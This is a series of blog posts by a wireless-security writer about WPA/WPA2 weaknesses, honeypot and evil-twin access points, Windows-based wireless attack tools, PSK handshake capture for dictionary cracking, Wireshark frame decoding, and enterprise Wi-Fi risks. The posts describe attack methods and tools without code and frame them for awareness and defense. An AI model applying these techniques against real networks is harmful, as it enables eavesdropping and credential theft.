WPA Too!

If you believe that only Open and WEP configurations are unsafe and do not provide inter user privacy, its high time to get yourself updated about a new security weakness as WPA TOO has also been found vulnerable. The weakness is inherited in the protocol due to a design choice made by the architects of the 802.11i standard.

Since a lot has been already said and written about it, so instead of writing it by myself, I would redirect you to some interesting and informative articles here.

The most recent article written on this topic can be read here.

A copy of the slide deck presented in the Defcon 18 can be found here.

WPA/WPA2 protocol allows users to establish a mutual trust relationship between Wi-Fi users and network which carry a transitive relationship due to use of a shared key. And hence WPA/WPA2 users end up establishing an unintentional trust relationship among each other. The trust relation is exploited by malicious Wi-Fi user to redirect legitimate users traffic and gain access to their private data.

The security risk is low in an enterprise network environment where most users are trusted insider though insider threats are increasing and act of spying has also gotton some attention, the risk becomes extremely high in WPA/WPA2 enabled public Wi-Fi hotspots. Such networks are also setup in conference. Security enabled Municipal Wi-Fi (Google-Secure) and Guest Wi-Fi networks are also gaining popularity.

In next blog post, I would share insight on some mitigation strategies discussed and proposed by community.

SSIDvertisements

[Category- Innovative Ideas]


Number of page view is one the most important factors that decides the popularity of a website or an online business. Let's imagine a complete wireless world. What would be the most viewed page? Of course the page that pops up when we search for available Wi-Fi networks or when we open Wi-Fi network connectivity settings on smartphones.

Figure1: List of Available WiFi Networks

What we see in the list is the name of available wireless networks in the range. In technical terms, it is called Service Set Identifier or SSID. The maximum length of SSID can be 32 characters. Thousands of travelers round the world click and search for the available wireless networks. So can it be used by local businesses to advertise and promote their products? Though it sounds weired, but it is possible. You just need to have SSIDvertisement enabled WiFi networks. What you could do is basically advertise your offerings through SSID name. And this would appear in your potential customer as follows:

Figure2: SSIDvertisement seen on a Smartphone

Figure 3: SSIDvertisements seen on a Windows Laptop

Places like Airports, Stations, Sport grounds etc. its hard to reach people because of the number neither you can advertise through pamphlets. But "SSIDvertisements" technique can help you reach them without putting extra effort. It is that easy. What you need is basically a platform or product using which you can advertise the cool discounts or offers you may be giving.


I am talking about a completely hypothetical idea. I haven't yet seen any platform or product that would allow you advertise ads in a wireless network. If you are a wireless platform vendor want to productize a product, please leave a comment with your contact and I would soon get back to you.

IBM Researchers Propose To Fix Security Issues of Open Wi-Fi Networks! Oh Really?

IBM researchers have proposed a solution to solve security problems of open Wi-Fi networks. It has come in light of the release of the Firesheep tool.


Basically, two software developer Eric Butler and Ian “craSH” Gallagher have created and released a Firefox plugin at Toorcon 12 this year using which one can easily capture session cookies and hijack account of other users present in an open Wi-Fi network.


Though, the session hijacking is not a new attack and it has been talked, discussed and demonstrated in various security forums since 2007 (session hijacking was first revealed by Robert Grahm at Blackhat US in 2007), the key contribution is the attack has been made extremely naive for executors. I will use another post to talk about Firesheep tool and how the attack is carried out. In this post, I would like to keep security issues of an open Wi-Fi network as prime focus and would discuss merits and demerits of the solution presented by researchers of IBM'x X-Force group.

There are three major security issues of open Wi-Fi networks:

1. Passive Data Sniffing :
A lot of web services are using http protocol which does not encrypt data exchanged between client and servers. Which means if such sites are accessed in an open Wi-Fi network, any malicious user present in the radio range of wireless client device or AP can passively sniff and capture data flowing to or from client. These data can contain user's private credential or website's cookie which can be further misused to steal user's valuable private information. A few web sites also use HTTPS protocol to provide services to users. Such websites are not vulnerable to passive sniffing. But establishing connection to HTTPS enabled websites is the crux. Sometimes users ignore certificate sent by web servers and hence their chances of getting hacked though they always use HTTPS enabled services are extremely high.


2. Man-in-the-Middle (MiTM) Attack
MiTM attack can be very easily carried out in an open Wi-Fi network. Due to lack of authentication, its very convenient for attacker to attract and establish connection with a wireless client device looking to connect connection with a public Wi-Fi hotspot or any open wireless network. Two attacks are mentioned here. Though they are alike, technically they differ in the way these attacks are launched.


a. Evil Twin Attack: Evil twin is a hacker planted AP present in the proximity of legitimate wireless network having same SSID or network name. Since clients use wireless network name to discover and establish connection. It's very difficult for client to differentiate between legitimate and attacker's AP. So it is very easy for a hacker to victimize client device. Sometimes, DoS attack is also launched to starve clients from connecting to legitimate networks.



b. Honeypot Attack: There is a subtle difference between Honeypot and Evil Twin. Honeypot is also a hacker planted AP but the name of the network is assigned to lure legitimate wireless client device. For example: hacker advertises "open wireless network" service. As soon as wireless client connect to Honeypot AP, hacker takes control of all its traffic.


3. Wireless Client's Preferred Network List (PNL) Poisoning
Whenever a wireless client device connect to open Wi-Fi network, an entry for that network gets created and remains there in the cache of the client. This is known as preferred network list or PNL. So far, wireless client does not automatically purge wireless network profiles present in the PNL. This cause wireless client device to always search for the availability of wireless network in the PNL and make an automatic connection as soon as a matching network is found.  So an unintentional wireless connection (mis-association) is possible causing different other application to become active and start accessing web services. For example email client can start fetching emails from email server without you actually know about the activity or the network through which client has been accessing your private mailbox.

What exactly are they proposing?
The whole security community falls back to the same public key cryptography technique to solve all types of security problems. And the solution proposed by IBM researchers are no exception. As per the solution briefly described in their post, client should be able to receive a certificate which will authenticate the SSID used by a wireless network service provider. After that client and AP will establish a secure channel. This secure channel will be used to access Internet. Though, this is a wonderful idea and has potential to solve passive sniffing problem as well as Evil Twin, it might not be able to solve Honeypot attack completely. Further, Client mis-association will still remain a problem until and unless open cached profile of open Wi-Fi network is removed from each and every wireless client device.


The solution proposed is impractical in the sense that it requires software upgrade of wireless access points and clients. Now you may guess the number of wireless client devices being used in an open Wi-Fi network that would be required to undergo software upgrade. Essentially, the solution proposed is a subset of WPA2/802.1x. As per the proposal, the certificate can be used to differentiate between an authorized and a rogue wireless network. If you take out inner authentication from WPA2/PEAP, what you are left with is the same what is being proposed by IBM researchers. The fact of the matter is even private enterprises have not been able to adopt this security even after six years of finalization of the standard as the biggest bottleneck is managing and maintaining certificates. Here, they are proposing solution to one of the burning and most serious security threat of wireless networks. It would take at least few years if not months to implement such a solution. 


The wireless community should put effort in creating a wireless infrastructure that can be trusted like wired infrastructure. Can we achieve that without spending years to solve open Wi-Fi network problems? Think!

Are You Betting on Wireless Clients?

If yes, be watchful as you might be on the verge of inviting serious security risks to your enterprise network or confidential data residing on the network. Unlike APs, WiFi enabled clients are physically unconnected mobile end points. They keep moving in and out of your wireless networks and might carry infected wireless network profile. In this blog post, I am going to share with you how a wireless client device can easily break the security cordon of an enterprise network.

Infected Clients

An infected wireless device present on the corporate network is a serious security threat. Here infection doesn't mean infected from virus or worms. Such problems are already known. A wireless infection can create backdoor. These infection occurs when a roaming wireless client connect to insecure WiFi network. There are two types of infection possible:

a. Probing clients

Wireless devices keep the memory of wireless network they have connected to in the past and keep probing for such networks. This gives opportunity to hacker to launch honeypot attach on a corporate wireless device. Once the infected corporate client connects to attacker planted "Honeypot" several other upper layer attacks can be launched to take root access of the machine. Imagine if the infected client is connected to corporate network through ethernet. Attacker can exploit and access corporate network as well. This puts serious threat to the data residing on corporate client device as well as corporate network.

b. Adhoc mode

A corporate client device can be infected from Ad hoc mode or Viral SSID profile. Such a client invites peer to peer connection from other wireless client devices. Attackers looking for an opportunity to break into corporate network can make first connection with infected client device. Later, she can run higher layer attacks or exploits to gain root access of the machine. Once the access to machine is taken attacker can also connect ti corporate network and scan for vulnerable machine on the network. This puts serious threat to the data residing on corporate client device as well as corporate network.

Virtual AP Threat

Windows 7 has included a new wireless feature called virtual WiFi or virtual AP which allow its user to run a fully functional access point on a laptop with just a few clicks. Similar features are also available in different operating system and different types of mobile devices e.g. Intel’s MyWiFi works on Windows Vista as well as on Windows 7 operating system and allow user to run AP with any type of security configuration. If the client device is connected to corporate network and having a virtual AP running in open configuration, any unauthorized user connect to virtual AP and gain access of the corporate network.

 

It's equally important to scan for wireless client and deter whether a client is carrying infected wireless profiles or running virtual AP. This can be achieved by using a wireless network monitoring system.

Deadlock in WiFi Networks

You might have experienced deadlock occurring in a chaotic traffic condition or if you are a software guy then must be aware of deadlock occurring in software programs. In simple term, deadlock is a condition which cease the progress of any process or operation.

Interestingly, the deadlock can also occur in a WiFi network. It happens between a wireless client and an access point (AP) at the time of connection establishment. 

To understand it better, let me first explain how connection establishment takes place between a wireless client device and an AP.

There are three important steps involved in connection establishment. First step is wireless network Discovery, second is Authentication, and third is Association.

Until and unless network discovery completes wireless client does not start Authentication and Association.

Figure 1: Connection Establishment

All WiFi networks are identified by a network name also known as Service Set Identifier or SSID. SSID is at most 32 characters string advertised in beacon frames which are periodically transmitted by APs. All clients in the proximity of an AP listen to these periodic advertisements and know the presence of a WiFi network. This is known as passive network scanning or discovery. Sometimes, wireless client devices send request frames to know the presence of a WiFi network. These frames are called “Probe Requests”. APs in the radio range of client listen to these request frames and respond thorugh “Probe Response” frames. These frames are very similar to Beacon frames and also contain the wireless network name. The process of discovering wireless network by sending probes is called active scanning or active discovery. 

Probe Requests may or may not contain the wireless network name. When no network name is present in “Probe Request” frame, it is known as Null Probe. These types of frames are used by client to discover any WiFi network present in the proximity of the client. Sometimes “Probe Request” does contain the name of the WiFi network. These types of frames are sent by a wireless client device when it looks for the presence of pre-configured wireless networks.

Wireless Client (In)Security

The active scanning done by client, especially when it leaks the trusted WiFi network name in the probe request frames, gives rise to various wireless attacks on client device. One example of such attack is setting up “Honeypot” to launch Man-in-the-Middle (MITM) attack. It’s very easy to launch honeypot attack on a wireless device which does active scanning for a WiFi network. In fact security enabled Honeypots are also possible.

WiFi clients configured to connect to WEP secured WiFi network can be victimized by launching Caffe Latte attack. WPA-PSK or WPA2-PSK (also called Personal Mode) configured clients can be lured by attacker with the help of airodum-ng and aircrack-ng tool. You can learn more about security enabled WiFi network here. A few clients which only connect to WPA2-802.1x based WiFi network and are not properly configured, they can be attacked by launching PEAP attack.

If you analyze, you will find that wireless enabled clients were victimized due to the reason that trusted WiFi network present in the client's memory were leaked during network discovery phase. In fact there exist a tool called WiFish Finder that will tell you which client is vulnerable to Honeypot attack and what kind of attack is possible. The tool is used to do security assessment of wireless client devices. 

To defeat attacks on wireless clients, Microsoft, in recent releases such as Windows XP service pack2 (SP2) and later, tricked the wireless client behavior. These clients are programmed not to leak the name of trusted WiFi network name present in its preferred network list (PNL) during active scanning. Null probes are sent by such clients during active scanning. If it finds a WiFi network advertising a name which matches with a network name present in it's PNL then only it tries to do connection establishment. More details about the behavior of Windows XP, Windows Server or Vista based wireless clients can be found here. http://technet.microsoft.com/hi-in/library/bb726942(en-us).aspx

So the security against Honeypot attacks have been achieved by not advertising or leaking the trusted wireless network name present in the PNL.

Access Point (In)Security

Disabling SSID broadcast has become common practice and is being widely adopted by network administrators as a security measure. Most AP vendors provide support to turnoff SSID advertisements. When you turn off SSID broadcasting, though the periodic wireless network advertisement frames are sent by AP, it does not contain network name. This prevents a casual user from locating private wireless network just by performing a simple network discovery (View available wireless network in Windows). Believe me; you do not achieve any security. In fact there are other ways of figuring out SSID of a non-broadcasting wireless network. (e.g. Probe Responses or Association Responses sent to connecting client do contain the name of wireless network, so if if you do wireless packet capture, you should be able to discover SSID of non-broadcasting wireless network).

So, it doesn't add anything to wireless security, at the same time it might create havoc in your existing wireless network deployment if you are planning to turn off SSID broadcast.

WiFi Connection Deadlock

Let’s take an example of WiFi network deployed in a big corporate network. The name of the network is “M-Mobile” and is being advertised initially. There is a WiFi user Jhon who is using a Windows XP and SP2 based WiFi client to connect to "M-Mobile". Jhon's client is automatically configured to connect to “M-Mobile”. One fine day, the network administrator Mr. Patrick learns that disabling SSID broadcast is a good security practice so he disables the SSID broadcasting on tens or hundreds of APs installed in the office premises and may be managed through a controller. Next day, when Jhon arrives office, he is not able to connect to WiFi network. He asks others, but other colleagues are still connected to the network may be because they leave their laptops in the office itself or whatever reason. Mr. Patrick, the administrator has absolutely no idea as what went wrong; all other users are still connected. What should he do? Should he rollback the change that he had applied yesterday or debug the problem of Mr. Jhon. What if Jhon works from distant office. Mr. Patrick might be helpless as he can't keep on flipping fully functional network settings so he might ignore the request and advice Jhon to use another machine. But it's important to understand the reason.

As soon as Mr. Patrick disables SSID broadcast, all APs present in the network stop advertising the name of the network. Clients which reveals the name of the trusted WiFi network in active scanning should be able to connect. But since Jhon is using a WiFi client which does not see advertise wireless network present in it’s preferred network list, so it send simply a null probe request. SSID broadcast disabled APs are not going to honor null porbe requests coming from Jhon's client and hence does not reveal the network name.

Figure 2: WiFi Connection Deadlock

As a result Jhon's client is not able to complete network discovery though the trusted WiF network exists in the range of the client. The scenario is depicted in the figure 2 above. Since the discovery does not complete, client does not initiate Authentication and Association with the AP and always remains in a wireless network scanning state. The condition in which wireless client is not able to discover its own trusted Wireless Network and the network is not able to serve legitimate wireless client device is termed as "Deadlock in WiFi Network".

First of all you should not turn off SSID broadcast, and if you done it and facing similar problem as reported by Jhon, then you must investigate and see whether you have your wireless network is in a Deadlock state or not.

The key take away of this post is:

"Disable SSID broadcast, but in Wireless Client Devices and Not in Access Points"

Top Five Windows Based Wireless Attack Tools You Should Really Know About

[Category-Security]

Plethora of wireless attack tools are freely available on the Internet.  But most of these tools are written for Linux platforms. A naïve user might not comfortably run these tools as it requires good knowledge of tools and the underlying system.

Windows (XP, Vista or 7) is the most popular and widely used operating system in the world. It provides click based environment to interact with any application. Since most of us already feel comfortable working in Windows based environment, we do understand its power of quickly turning even a naïve user into a skilled one. But the unavailability of free wireless tools for Windows machines have kept their users afar from playing with wireless networks  in the past. But lately, windows based tools have started showing up. What if people start getting access to these attack tools. Wouldn’t it give rise to new security threat in an enterprise network environment?

In this post, I am going to  brief you about such tools and what all is possible using these tools.

Tool #1. CommView for WiFi

CommView for WiFi is a very powerful wireless network monitor and analyzer tool for 802.11 a/b/g/n networks. It is paid software but limited period, evaluation version is freely available for download.

Some of the things one can do with CommView for WiFi are mentioned below:

• Scan the air for WiFi stations and access points and capture 802.11a, 802.11b, 802.11g, and 802.11n WLAN traffic
• Specify WEP or WPA keys to decrypt encrypted packets
• View detailed IP connections statistics: IP addresses, ports, sessions, etc
• Reconstruct TCP/UDP sessions
• Search for strings or hex data in captured packet contents
• Load and view capture files offline
• Modify and inject captured frame; It also supports injection of all captured traffic

CommView runs under Windows XP/2003/Vista/2008/7 and requires a compatible wireless network adapter. The list of adapters that have been tested and are compatible with CommView for WiFi, are available at http://www.tamos.com/products/commwifi/adapterlist.php

Figure 1: Snapshot of Running CommView

So, using an evaluation version of CommView for WiFi, one can actually capture all the wireless traffic, sniff password in an open WiFi network. A malicious insider can decrypt private data frames of other wireless users in WPA-PSK or WPA2-PSK enabled wireless networks.

Packet injection capability can be exploited to launch denial of service attack, stealth mode ARP spoofing attack in an open Wireless Network and what not. It completely depends on the imagination of an intruder.

So, using an evaluation version of CommView for WiFi, one can actually capture all the wireless traffic, sniff password in an open WiFi network. A malicious insider can decrypt private data frames of other wireless users in WPA-PSK or WPA2-PSK enabled wireless networks.

Packet injection capability can be exploited to launch denial of service attack, stealth mode ARP spoofing attack in an open Wireless Network and what not. It completely depends on the imagination of an intruder.

Figure 2: Raw Packet Injection

Tool #2: Aircrack-ng

Aircrack-ng is an 802.11 WEP and WPA-PSK keys cracking program that can recover keys once enough data packets have been captured. It implements the standard FMS attack along with some optimizations like KoreK attacks, as well as the all-new PTW attack, thus making the attack much faster compared to other WEP cracking tools.

In fact aircrack-ng is a suite of wireless tools that can be used to capture traffic, setup Access Point (AP), Launch denial-of-service (DoS) attack and cracking encryption.

Previous version of aircrack-ng was supported only on Linux distribution.  But the latest version is also supported on Windows. The software can be free downloaded from the Internet at http://www.aircrack-ng.org/

Tool #3:Mdk-3

MDK can be put in the category of denial-of-service (DoS) attack tool. It exploits the wireless driver of Commview software to do packet capture or injection. This is less heard tool and not much information is available on the Internet yet it's been tested and talked in hackers community.

More information about the software is available here.

Tool #4: Connectify 

Connectify is a third party application that allows user to run a full fledge WiFi hotspot on a WiFi enabled machine. While this is a great way of sharing the Internet with friends, co-workers, and mobile devices, it weakens the security cordon of a corporate network by simply converting WiFi enabled authorized corporate laptops into unmanaged rogue devices.

 

Current version of the software is compatible only with Windows 7.

 

In the same category falls Intel's  "My WiFi" wireless technology. It helps form a wireless Personal Area Network (PAN). Basically, you can run wireless access point if you have a laptop with Intel's latest wireless card inside e.g. Centrino Wireless-N 1000, 5100 or 6200. Intel provides MyWiFi software using which you can run virtual AP and choose any security configuration and in fact you can also run open WiFi AP. The technology is supported both on Windows Vista and Windows 7.

 

Tool#5: Meraki's "WiFi Stumbler" and WLANController's Virtual Access Point

These are the examples of cloud based tools. Installation is not needed. You just need to have access to the Internet, that's it.

The first is Meraki's WiFi Stumbler. It can be used for wireless network scanning. Using this tool you can instantly know various important attributes of a wireless network e.g. MAC address, signal level, encryption type, channel etc. This is a very powerful tool if you are interested in conducting wireless scan. No additional hardware is needed. You can use your own machine. But it can also be misused by attacker to scan and select the target.

 

Figure3: Meraki's WiFi Stumbler

Second interesting cloud based tool is "Virtual Access Point" software offered by www.virtualaccesspoint.com. If you want to run your own access point on Windows 7 and don't want take the risk of software installation then this would be the best bet. Enter the SSID and WPA2 Key and behold! Your virtual AP is up and running. Here is a video that shows how you can run your own AP in just 60 seconds.

 

 This can be misused in launching security enabled Honeypot AP. I have posted the technical details of WPA2 Honeypots here.

So the conclusion is that almost all attacks are possible using Windows based wireless attack tools. This is going to increase the security and manageability risk on network administrator. One more reason why you need to monitor your air 24 x 7.

If you are aware of any other Windows based wireless attack tool, please do share with us. I would love to test and write about that. Cheers!

Beware Road Warriors! WPA2 Honeypot APs Might Haunt You.

Did you know that security enabled Honeypot APs are also possible. If not, you must read this. Wireless clients configured to connect to WEP secured WiFi networks can be attacked even if they are roaming thousands of miles away from their trusted WiFi networks. Just recall, how WEP cracking is done. One can either passively sniff and collect enough WEP encrypted DATA traffic. An active attack on WEP encrypted WiFi network is also possible. It requires presence of a wireless client and an AP and one encrypted ARP frame from client to AP. Attacker can replay this frame to generate more encrypted data traffic. Once the sufficient amount of data traffic is collected then aircrack-ng tool can be used to crack the WEP key. But in Caffe Latte attack, researchers have shown that WEP key can still be cracked even if client is not connected to any AP and present too far from its trusted WiFi network. 

Now, you might think why you should worry about it. You do not use WEP any ways. Your wireless device is configured to connect to WPA-PSK or WPA2-PSK based WiFi network. Then, here is a bad news for you. Author of the most popular WiFi cracking open source software has presented about PSK cracking in UNAM, Mexico. His talk can be downloaded from here. As per him older version of aircrack-ng tool needed all four frames of 4-way handshake to launch dictionary attack against PSK. But the latest version of aircrack-ng attack tool has been enhanced and now it only requires any two subsequent frames to launch attack.

Does this mean a PSK enabled WiFi honeypot AP can be planted to lure WiFi clients which have been connecting to such WiFi networks in the past. The answer is yes. If you see the 4-way handshake in the figure above, WiFi client device is first authenticated by AP. AP sends a 256 bit random number called ANONCE to challenge Client. Client responds to the challenge by generating MIC using Pairwise Transient Key (PTK). PTK generation requires knowledge of Passphrase, SSID, ANONCE and SNONCE. SNonce is also a 256 bit random number generated by client device to challenge AP.

An attacker can configure a Honeypot AP with any "passphrase". When a roaming wireless client connect to WPA2-PSK honeypot, it initiates higher layer 4-way handshake with the AP. Since the AP is not configured with right Passphrase as attacker does know this now, client does not authenticate Honeypot AP and does not connect to it. But in lieu of this attacker is able to capture initial two frames of 4-way handshake as shown in the figure above. Only these two frames are enough for latest aircrack-ng tool to launch dictionary attack and crack the passphrase, 

In fact, there is an online PSK cracking service available. I have written about wpacracker in the past. The trace file captured earlier can be uploaded to the wpacracker site and PSK can be cracked.

A few wireless clients which connect to WPA2-802.1x secured WiFi network can be victimized by setting up Honeypot AP. The attack is known as PEAP attack. Only those wireless Clients are vulnerable to this attack which do not verify certificate sent by an AP.

So the conclusion is that security enabled Honeypots are also possible. If you connect to WPA-PSK or WPA2-PSK based WiFi network then make sure the passphrase is a random mix of aphanumeric characters and its size is more than eight characters. If you are using PEAP, then make sure that wireless clients verify certificate sent by an AP.

How Not To Kill Your Wireless Network Capacity

[Part 1]
This post of mine has nothing to do with wireless network security. But I have experienced people making mistakes and killing the overall network capacity by making mistakes during deployment. And hence, this time I am going to talk about how you should not kill your wireless network capacity.

The part 1 is basically focussed on a few tips presented here on how to maintain network performance. In future posts, I will present few more interesting stuff about the wireless network performance and monitoring.

Let's first recall and memorize rules of the game:

1. The overall network throughput of an IEEE 802.11 based wireless network is fixed. It depends on the protocol (a/b/g/n) you are using.


2. Should avoid deploying APs on the same channel. It cuts down the throughput offered by an AP present on the channel.


3. Should avoid deploying APs on adjacent channels (non-overlapping channel in 2.4 GHz band). It cuts down the throughput offered by an AP present on the channel.


4. Should understand the WiFi deployment requirements (Number of clients per AP, Average throughput per client or coverage area) and stick to these requirements while making any changes in the network.


5. Should try to minimizing the overhead of creating multiple wireless network on a channel without affecting the network deployment requirements

Though the observation presented by Mr. Andrew in his post is absolutely correct, the tips presented by him has some penalty that needs to be learnt in advance.

Though there should not be APs operating in the proximity of each other on the same channel, yet creating of multiple SSIDs does waste the bandwidth and only in 2.4 GHz band in mixed mode (b/g) deployment and not in pure 'a' or 'g' mode deployment. About 2% loss can probably be ignored. Further, the suggestion made here would help reduce the wastage of bandwidth due to multiple beacon transmission in 'g' and 'a' band as well. Let's take a loot at the penalty that we have to pay:

1. By limiting the active SSIDs per AP, you are basically limiting the support of segmented wireless networks created on an AP.
2. Disabling low data rates means reducing the range of network. This can create coverage hole. You may have to revisit your network deployment requirements and see if coverage was the important requirement.

Network bandwidth waste can be reduced by configuring APs to transmit beacons less frequently. For example loss of bandwidth in 2 SSIDs scenario can be compensated by doubling the beacon interval. By default APs are configured to transmit beacons every 100ms. The beacon interval can be increased or decreased. So just by doubling the beacon interval you should be able to support 6 SSIDs per-AP while limiting the bandwidth waste equivalent to the use of 3 SSIDs per-AP.

In fact, you can also compensate the data rate reduction by increasing the beacon interval to 400ms in a non-VOIP network deployment.

Point is, use of multiple SSIDs do cause waste of network bandwidth. There are many ways to compensate this loss. You should know all and choose the one which does not affect the operation of your existing network deployment, In the new deployment, you must include support for mutiple-SSIDs as deployment requirements and design the network accordingly.

Supporting low link speed network (11b or mixed mode ) itself is a big challenge as legacy wireless clients do kill significant network bandwidth by transmitting data frames at lower rates.

I would be happy to learn about your experiences and share my thoughts from a wireless researcher and developer perspective.

Wireshark makes mistake; Calls CCMP encrypted wireless data frames as TKIP !

Have you ever been bugged by Wireshark protocol analyzer tool? If yes, what was the last anomaly you found in it? For me, it seems to be wireless data frame dissector making mistake in decoding wireless data frame encryption type.

Wireshark, earlier known as Ethereal, is one of the most popular open source protocol analysis tool and frequently used by network and security analysts all over the world to analyze the performance or security of a protocol/network.

Figure 1: WPA2-CCMP Enabled APs

Just a few days back, I was analyzing an IEEE 802.11i enabled Wi-Fi network and found an anomaly in the behavior of the wireless network operation as shown by the Wireshark version 1.4.0. Wireless data frames exchanged between a WPA2-AES configured wireless client and an access point was marked as CCMP encrypted, which was obvious but a few data frames were marked as TKIP encrypted which raised the suspicion. 

Figure 2

How could WPA2-AES (and Mixed mode) configured wireless client or AP transmit TKIP encrypted data frames?

So, I decided to investigate it further. This blog post is about my findings on this issue.

As we all know, there are three types of data frame encryption algorithms used in Wi-Fi networks depending upon the type of security configured for example WEP secured WiFi network uses WEP encryption technique while WPA and WPA2 secured WiFi network use TKIP and CCMP respectively.

Can we accurately identify the encryption type just by analyzing the information present in the wireless data frame encryption header? And the answer is Yes.  How? Let’s first take a close look of encrypted data frames and see how it appears in the air.

1.    WEP Encrypted Data Frame Format

Figure 3: WEP Frame Format

WEP encrypted data frames contain only 4 bytes of encryption header. First three bytes are Initialization Vector (IV) which is used in the WEP encryption/decryption process.  Two most significant bits of the fourth byte are used to indicate the encryption key number to be used in the data frame encryption/decryption. Least significant six bits are always kept zero. 

2.   TKIP Encrypted Data Frame Format

Figure 4: TKIP Frame Format

TKIP encrypted data frame contains eight bytes of encryption header. Third and first bytes along with the last four bytes of the header are used in the TKIP encryption/decryption process.  Second byte is called WEPSeed. WEPSeed is not used in TKIP encryption but it is set to (TSC1 | 0x20 ) & 0x7F.

Three most significant bits of the fourth byte are used to indicate the key number and the presence of extra four bytes in the encryption header. Least significant three bits are always kept zero.

3.   CCMP Encrypted Data Frame Format

Figure 5: CCMP Frame Format

CCMP encrypted data frame contains eight bytes of encryption header (shown as CCM header in Figure 4). First and second bytes along with the last four bytes of the header are used in the CCMP encryption/decryption process.  Third byte is reserved and always kept as zero.

Three most significant bits of the fourth byte are used to indicate the key ID and presence of extra four bytes in the CCMP header. Least significant three bits are always kept zero.

Now one can easily identify WEP encrypted data frames as it contains only four bytes of encryption header and six least significant bits of the fourth byte are always zero while TKIP and CCMP encrypted data frames have only five least significant bits of the fourth byte as zero.

Distinguishing between a TKIP encrypted data frame and a CCMP encrypted data frame is bit tricky. We can make use of the difference in first three bytes of encryption header of TKIP and CCMP.

Test1: All TKIP encrypted data frames should have WEPSeed byte (2nd byte of eight bytes encryption header) set to (TSC1 | 0x20) & 0x7F.

Test2: All CCMP encrypted data frames should have third byte of eight bytes CCMP header set to zero.

Let's examine the packet trace in the light of above two tests. Let's assume that selected data frame shown in Figure 2 is correctly identified by Wireshark as TKIP encrypted data frame. So, TSC1 is 0x91, WEPSeed is 0xAB and TSC0 is 0x00. According to Test 1,

WEPSeed = (TSC1 | 0x20) & 0x7F

              = (0x91 | 0x20) & 0x7F
              = 0xB1 & 0x7F
              = 0x31

But the actual WEPSeed present in the data frame is 0xAB.

Hence the condition to be a TKIP encrypted data frame is not satisfied by the selected frame shown in Figure 2.

According to Test 2, CCMP encrypted data frames have third byte zero. Third byte of the selected frame in Figure 2 is actually 0 which confirms that it is CCMP encrypted data frame.

So we have confirmed that frame shown in Figure 2 is not TKIP encrypted but CCMP encrypted data frame and there is some problem with the Wireshark dissector.

Few CCMP encrypted data frames may have encryption header such that third byte is zero but second byte is equivalent to (First Byte | 0x20) & 0x7F. Under these conditions it would be difficult to find out encryption type just by seeing encrypted data frames.

It would be difficult to build a perfect detector but few other conditions can be taken into account in order to predict encryption type. For example in TKIP encrypted data frames, third byte of the encryption header is LSB of Transmit Sequence Counter (TSC) while in CCMP encrypted data frames, first byte of the encryption header is LSB of Packet Number (PN). This means in two consecutive transmitted frames, third byte will increment if the frame is TKIP encrypted else first byte will increment if the frame is CCMP encrypted.

Though, the difficulty of building perfect Wireshark detector to detect encryption type of data frame can be understood, why the designers of the standard chose to assign different name and meaning to individual octet of encryption header is vague.

If you know any reasons of the dissimilarity of TKIP and CCMP encryption header, kindly do share with us.

Clean Air, Green Atmosphere to Sell More

In the name of “save planet”, “green atmosphere”, “green energy” slogans which are very subtle issues and should be continued for betterment of all living creature, I somehow sense companies making all efforts to increase their sales revenues. Being a wireless guy, I would provide at least one example to prove my nous.

Have you heard about “Clean Air Technology” announced by Cisco systems? If not, you may get yourself familiar to this new technology here.

http://www.cisco.com/en/US/netsol/ns1070/networking_solutions_package.html
http://www.youtube.com/watch?v=y0vcTlXifOs

The technology has been introduced to detect RF interference faced by wireless devices from Cordless phone, Microwave, Wireless Camera, Bluetooth devices etc. Cisco has designed an AP which contains a dedicated radio to detect interference in both 2.4 and 5 GHz bands. Additionally, it can also be used to do spectrum analysis.

In the next few paragraphs, we will analyze whether presence of a dedicated radio which comes at an additional cost and powered all the time is justified or not and does it really solve a problem. Does the RF interference problem clean air technology intend to solve real?

Rebuttal # 1: AP detects RF interference experienced by clients

In a typical WLAN deployment, one can imagine one AP serving several clients simultaneously. These clients could be spatially distributed around Access Point. In such scenario, it’s not necessary that RF interference experienced by a client is equally experienced by an AP. In fact it might also possible that AP never experiences RF interference while clients do.

Rebuttal #2: AP detects microwave, cordless phone and wireless camera

Microwave causes problem with 2.4GHz wireless communication. Normally, the location of this interfering device is known and if it cannot be re-located (e.g. Microwave operating in the neighbourhood, unlikely to cause interference but considering here for completeness) then a careful deployment of dual band AP near pantry area can solve the problem.
Even if we believe cordless phone causes degradation of wireless network throughput, do we really need high end AP to detect it and that too all over? It can be banned by enforcing right policy.

Wireless camera causes jamming on a channel. Again, problem arising from wireless camera can be solved by the use of dual band AP.

Rebuttal #3: Clean Air Technology equals Green Atmosphere

A dedicated radio powered al l the time just to detect sporadic interference doesn’t qualify to be green technology. What’s the use of a dedicated RF interference detection radio after you clean your air? Just think!

Conclusion

Instead of having a dedicated radio, present in all APs and powered all the time to detect RF interference, ideally such intelligence should be present in APs and clients. Some WLAN vendors are already making progress in this direction and adding RF interference detection capabilities in APs and clients. In long term wireless monitoring systems can also play important role by providing RF interference detection intelligence along with high value security solution.

Employees carry smart phones; a data security threat silently entering into enterprises

Memories of old days of my employment are still afresh when I used to work for a big multi-national software company. The most uneasy moment that i still remember was crossing the physical security of the company. As per company policy, we were not allowed to bring in or take back any type of electronic media (CD, floppy etc.), self owned or company owned laptop. All bags entering office premises were cross examined by security personals. In this regard, the day when I went office without any handbag, gave me the most peaceful entry and probably virtually to the company as well. Only device that never bothered me was my less smart mobile phone hanging right-side in the belt.

Over years a lot have been changed. Those dummy mobile devices have evolved and became much smarter than ever and it would be not wrong if we call it mini personal computer. These smart phones are capable of storing gigabytes of data and can do personal laptop/desktop like computation in a fraction of time. Hundreds of such devices are brought inside enterprises daily and remain inside for several hours unmonitored.

Though these devices are trusted to be taken inside office premises to serve the personal need of calling by employees to their friends and relatives, it can also be misused to carry company’s confidential data. This tiny device come fully equipped to make network connectivity and can be connected to company’s private LAN without network administrator knowledge.

Most enterprise wireless LANs are secured using WPA2/802.1x security protocol which requires knowledge of domain name and password (certificate is optional for clients in PEAP). So employees can also configure their smart phones to make a connection with corporate LAN. Once the connection is done, user can access resources present on the network and siphon off confidential data.

In a large network enterprise, it’s very difficult for network admin to manage updated list of allowed MAC addresses of networking devices and hence white listing is hard to achieve. It’s difficult to monitor and contain employee carried mobile phones connecting to corporate network. NAC (Network access control) is also not going to help as user can bypass it by successfully authenticating with authenticating server.

Monitoring activity of smart phones inside office premises is increasingly becoming serious security problem. Lack of a reliable solution to contain the problem makes the situation even more alarming. This also opens opportunity for network monitoring system provider to develop innovative solution to manage tiny computers brought inside enterprises by their trusted employees.

